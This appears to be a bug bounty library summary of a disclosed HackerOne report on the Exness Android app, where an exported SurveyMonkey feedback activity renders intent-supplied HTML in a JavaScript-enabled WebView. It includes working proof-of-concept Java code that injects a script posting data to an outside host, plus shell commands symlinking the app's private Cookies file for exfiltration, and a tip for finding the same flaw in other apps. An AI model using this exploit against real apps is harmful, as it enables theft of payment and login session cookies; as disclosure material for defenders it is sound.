# [com.exness.android.pa Android] Universal XSS in webview. Lead to steal user cookies

Exported SurveyMonkey SMFeedbackActivity in Exness Android app loads attacker-supplied HTML/URL into a WebView, enabling universal XSS and cookie theft via symlink to the app's Cookies file.

- Payout: $400
- Severity: low
- Program: EXNESS
- Found by: nearsecurity
- Disclosed: 2022-05-24
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/532836
- Library page: https://bugbountylibrary.com/r/h1%3A532836
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:bounty platform:hackerone sev:low tech:android technique:chained technique:source-review vuln:access-control vuln:xss

**Target:** Android app com.exness.android.pa (Exness trading app) exported SMFeedbackActivity WebView
**Root cause:** Exported activity accepts smSPageHTML and smSPageURL intent extras and passes them to WebView.loadDataWithBaseURL with JavaScript enabled, letting any third-party app render arbitrary HTML/JS in the app's WebView context.
**Steps:**
1. Identify exported activity `com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity` in com.exness.android.pa 1.7.5-real-release
2. Build intent with extras `smSPageHTML=<html>...<script>...</script></html>` and `smSPageURL=https://trade.mql5.com/r/`
3. `startActivity(intent)` from a malicious app to render attacker JS in the internal WebView
4. Create symlink `ln -s /data/data/com.exness.android.pa/app_webview/Cookies /data/data/pwn.pwn/pwn.html` and `chmod 777 -R /data/data/pwn.pwn/`
5. Load the symlinked file as smSPageURL so the Cookies file is parsed as HTML; injected script exfiltrates the file contents to attacker server
**How found:** Reviewed the APK's AndroidManifest for exported activities, found SMFeedbackActivity, then decompiled onCreate to trace smSPageHTML/smSPageURL extras into WebView.loadDataWithBaseURL with JavaScript enabled.
**Exploitation:** Malicious third-party app (no root) launches the exported activity with attacker HTML and a base URL, executing JS in the Exness WebView. A symlink to the app's Cookies file is created and loaded as HTML; a script embedded in the cookie file executes and POSTs the cookie contents to an attacker-controlled endpoint, leaking payment-system and mql5 cookies.
**Escalation:** Chained universal XSS with a symlink to the app-private Cookies file to exfiltrate session cookies of payment providers (payanyway, qiwi, yandex money, moneta.ru, mql5).
**Insight:** SurveyMonkey SDK's SMFeedbackActivity is a reusable exported component in many apps; grep manifests for `com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity` and check whether smSPageHTML/smSPageURL extras reach a JS-enabled WebView.

## Proof of concept (copied exactly from the original report)

**Intent loading attacker HTML into exported SMFeedbackActivity**

```
Intent steal = new Intent();
                        steal.setClassName("com.exness.android.pa", "com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity");
                        steal.putExtra("smSPageHTML", "<html><h1>Universal XSS</h1><script>var form = document.createElement(\"form\");\n" +
                                "    var element1 = document.createElement(\"input\");\n" +
                                "    form.method = \"POST\";\n" +
                                "    form.action = \"https://trade.mql5.com\";\n" +
                                "    element1.value=document.domain;;\n" +
                                "    element1.name=\"text\";\n" +
                                "    form.appendChild(element1);\n" +
                                "    document.body.appendChild(form);\n" +
                                "    form.submit();</script></html>");
                        steal.putExtra("smSPageURL", "https://trade.mql5.com/r/");
                        startActivity(steal);
```

**Symlink to app cookie file as html**

```
Runtime.getRuntime().exec("ln -s /data/data/com.exness.android.pa/app_webview/Cookies /data/data/pwn.pwn/pwn.html").waitFor(); // create symlink to Cookie file
            Runtime.getRuntime().exec("chmod 777 -R /data/data/pwn.pwn/").waitFor(); //set access to everyone
        } catch (Exception e) {
            e.printStackTrace();
            finish();
            return;
        }
        new File("/data/data/pwn.pwn/pwn.html").setReadable(true, false);
```

